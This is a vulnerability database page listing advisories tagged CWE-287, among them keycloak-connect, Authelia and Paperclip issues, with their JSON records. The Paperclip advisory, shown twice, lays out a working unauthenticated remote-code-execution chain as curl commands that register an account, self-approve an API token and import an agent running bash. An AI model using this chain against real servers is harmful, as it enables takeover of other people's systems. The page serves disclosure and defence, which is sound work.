Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5954 vulnerabilities reference this CWE, most recent first.

GHSA-68HW-VFH7-XVG8

Vulnerability from github – Published: 2019-06-13 20:38 – Updated: 2021-08-16 15:25
VLAI
Summary
Forced Logout in keycloak-connect
Details

Versions of keycloak-connect prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the /k_logout route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.

Recommendation

Upgrade to version 4.4.0 or later.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "keycloak-connect"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-13T20:28:41Z",
    "nvd_published_at": "2019-06-12T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Versions of `keycloak-connect` prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the `/k_logout` route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 4.4.0 or later.",
  "id": "GHSA-68hw-vfh7-xvg8",
  "modified": "2021-08-16T15:25:07Z",
  "published": "2019-06-13T20:38:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak-nodejs-connect/commit/55e54b55d05ba636bc125a8f3d39f0052d13f8f6"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10157"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-KEYCLOAKNODEJSCONNECT-449920"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/978"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108734"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forced Logout in keycloak-connect"
}

GHSA-68M9-5QC5-G75W

Vulnerability from github – Published: 2023-11-05 00:33 – Updated: 2023-11-14 18:30
VLAI
Details

An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-46963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-04T23:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Beijing Yunfan Internet Technology Co., Ltd, Yunfan Learning Examination System v.6.5 allows a remote attacker to obtain sensitive information via the password parameter in the login function.",
  "id": "GHSA-68m9-5qc5-g75w",
  "modified": "2023-11-14T18:30:21Z",
  "published": "2023-11-05T00:33:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46963"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NBSLclass/glassfish/blob/main/Proof-of-vulnerability.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68QG-G8MG-6PR7

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19
VLAI
Summary
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Details

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

  • Full filesystem access (read/write as the server user)
  • Access to all data in the Paperclip database
  • Ability to pivot to internal network services
  • Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

  • Read adapter configurations and internal API structure
  • Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
  • Cancel any company's agent runs (same missing check)
  • Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
  • Create unlimited accounts for resource exhaustion
  • Wait for the next authorization bug to appear

These need to be fixed together:

  1. Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.

  2. Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.

  3. Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

  1. Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}

GHSA-68VR-5376-M4R9

Vulnerability from github – Published: 2022-05-01 18:42 – Updated: 2022-05-01 18:42
VLAI
Details

The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors. NOTE: it is not clear whether this issue crosses privilege boundaries.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-6385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-15T02:46:00Z",
    "severity": "LOW"
  },
  "details": "The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors.  NOTE: it is not clear whether this issue crosses privilege boundaries.",
  "id": "GHSA-68vr-5376-m4r9",
  "modified": "2022-05-01T18:42:25Z",
  "published": "2022-05-01T18:42:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6385"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39020"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/42122"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28072"
    },
    {
      "type": "WEB",
      "url": "http://www.kerio.com/kwf_history.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26851"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019095"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/4212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-68WM-PFJF-WQP6

Vulnerability from github – Published: 2021-12-20 16:57 – Updated: 2024-04-22 14:49
VLAI
Summary
Authelia vulnerable to an authentication bypassed with malformed request URI on nginx
Details

Impact

This affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.

Patches

The problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.

Patch for 4.25.1:

From ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001
From: James Elliott <james-d-elliott@users.noreply.github.com>
Date: Wed, 19 May 2021 12:10:13 +1000
Subject: [PATCH] fix(handlers): verify returns 200 on malformed request

This is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.
---
 internal/handlers/handler_verify.go | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go
index 65c064ce..4dd9702d 100644
--- a/internal/handlers/handler_verify.go
+++ b/internal/handlers/handler_verify.go
@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques
        targetURL, err := getOriginalURL(ctx)

        if err != nil {
-           ctx.Error(fmt.Errorf("Unable to parse target URL: %s", err), operationFailedMessage)
+           ctx.Logger.Error(fmt.Errorf("Unable to parse target URL: %s", err))
+           ctx.ReplyUnauthorized()
+
            return
        }

-- 
2.31.1

Workarounds

The most relevant workaround is upgrading. If you need assistance with an upgrade please contact us on Matrix or Discord. Please just let us know you're needing help upgrading to above 4.29.2.

You can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the RFC.

authelia.conf:

location /authelia {
    internal;
    # **IMPORTANT**
    # This block rejects requests with a 401 which contain characters that are unable to be parsed.
    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.
    # You may comment this section if you're using Authelia v4.29.3 or above. We strongly recommend upgrading.
    # RFC3986: http://tools.ietf.org/html/rfc3986
    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/
    if ($request_uri ~ [^a-zA-Z0-9_+-=\!@$%&*?~.:#'\;\(\)\[\]]) {
        return 401;
    }

    # Include the remainder of the block here. 
}
````

</p></details>

### Discovery

This issue was discovered by:

Siemens Energy
Cybersecurity Red Team

- Silas Francisco
- Ricardo Pesqueira


### Identifying active exploitation of the vulnerability

The following regex should match log entries that are an indication of the vulnerability being exploited:
```regex
level=error msg="Unable to parse target URL: Unable to parse URL (extracted from X-Original-URL header)?.*?: parse.*?net/url:.*github\.com/authelia/authelia/internal/handlers/handler_verify\.go
Example log entry ***with*** X-Original-URL configured: 
time="2021-05-21T16:31:15+10:00" level=error msg="Unable to parse target URL: Unable to parse URL extracted from X-Original-URL header: parse \"https://example.com/": net/url: invalid control character in URL" method=GET path=/api/verify remote_ip=192.168.1.10 stack="github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\nruntime/asm_amd64.s:1371                                                 goexit"
Example log entry ***without*** X-Original-URL configured: 
time="2021-05-21T16:30:17+10:00" level=error msg="Unable to parse target URL: Unable to parse URL https://example.com/: parse \"https://example.com/": net/url: invalid control character in URL" method=GET path=/api/verify remote_ip=192.168.1.10 stack="github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\nruntime/asm_amd64.s:1371                                                 goexit"
### For more information If you have any questions or comments about this advisory: * Open a [Discussion](https://github.com/authelia/authelia/discussions) * Email us at [security@authelia.com](mailto:security@authelia.com) ### Edit / Adjustment This CVE has been edited adjusting the score to more accurately reflect the guidance in the [official CVSS 3.1 guide](https://www.first.org/cvss/specification-document). Due to misunderstandings about the CVSS indicators this was incorrectly assigned but this has been corrected. Under close evaluation the score we originally assigned to this CVE is inappropriate in two clearly identifiable criteria: - Complexity (Low -> High): This attack requires the administrator be using NGINX's auth_request module. This means the attack cannot be exploited at will but rather requires a pre-condition separate to the vulnerable system outside of the attackers control (a vulnerable version of NGINX - at the time of this writing NGINX's security team has *refused* to fix the clear bug on their end but that's effectively irrelevant since we operate with more than just a NGINX proxy and no other proxy has this vulnerability), and requires the attacker have gathered knowledge about the system for this likely to be exploited. - Availability (High -> None): This attack does not alter availability directly.
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.29.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/authelia/authelia/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha1"
            },
            {
              "fixed": "4.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-28T18:08:47Z",
    "nvd_published_at": "2021-05-28T17:15:00Z",
    "severity": "CRITICAL"
  },
